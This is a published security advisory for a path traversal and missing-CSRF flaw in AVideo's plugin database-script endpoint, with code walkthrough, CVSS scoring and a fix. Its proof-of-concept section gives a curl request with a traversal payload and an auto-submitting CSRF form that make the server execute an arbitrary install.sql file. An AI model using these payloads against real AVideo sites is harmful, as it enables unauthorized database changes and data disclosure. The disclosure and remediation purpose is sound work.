Skip to content

Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name

High
DanielnetoDotCom published GHSA-3hwv-x8g3-9qpr Mar 23, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 27.0

Patched versions

None

Description

Summary

The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.

Details

The vulnerable data flow:

1. Entry pointobjects/pluginRunDatabaseScript.json.php:21:

$fileName = Plugin::getDatabaseFileName($_POST['name']);

2. "Sanitization"objects/plugin.php:343-354:

public static function getDatabaseFileName($pluginName)
{
    global $global;
    $pluginName = AVideoPlugin::fixName($pluginName);  // line 347 — no-op
    $dir = $global['systemRootPath'] . "plugin";
    $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
    if (!file_exists($filename)) {
        return false;
    }
    return $filename;
}

3. The "fix"plugin/AVideoPlugin.php:3184-3190:

public static function fixName($name)
{
    if ($name === 'Programs') {
        return 'PlayLists';
    }
    return $name;  // Returns input unchanged for all other values
}

4. SQL executionobjects/pluginRunDatabaseScript.json.php:24-36:

$lines = file($fileName);
foreach ($lines as $line) {
    // ...
    if (!$global['mysqli']->query($templine)) {
        $obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
        die($templine.' '.json_encode($obj));  // Leaks file content + SQL error
    }
}

The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with preg_replace('/[^0-9a-z_]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.

Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.

PoC

Step 1: Direct exploitation (as admin)

# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
  -d "name=../plugin/LiveLinks" \
  "https://target.com/objects/pluginRunDatabaseScript.json.php"

This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.

Step 2: CSRF exploitation (no direct admin access needed)

Host the following HTML on an attacker-controlled page and trick an admin into visiting it:

<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
  <input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 3: Information disclosure via error messages

If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:

{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}

Impact

  • SQL injection via file inclusion: An attacker can execute arbitrary SQL from any install/install.sql file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.
  • Information disclosure: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.
  • CSRF amplification: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.
  • Chaining potential: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious install.sql file and then execute it via this endpoint.

Recommended Fix

Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:

// In objects/pluginRunDatabaseScript.json.php, after line 14:

// Add CSRF protection
if (!isGlobalTokenValid()) {
    die('{"error":"' . __("Invalid token") . '"}');
}

// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);

Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:

public static function fixName($name)
{
    if ($name === 'Programs') {
        $name = 'PlayLists';
    }
    return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-33681

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits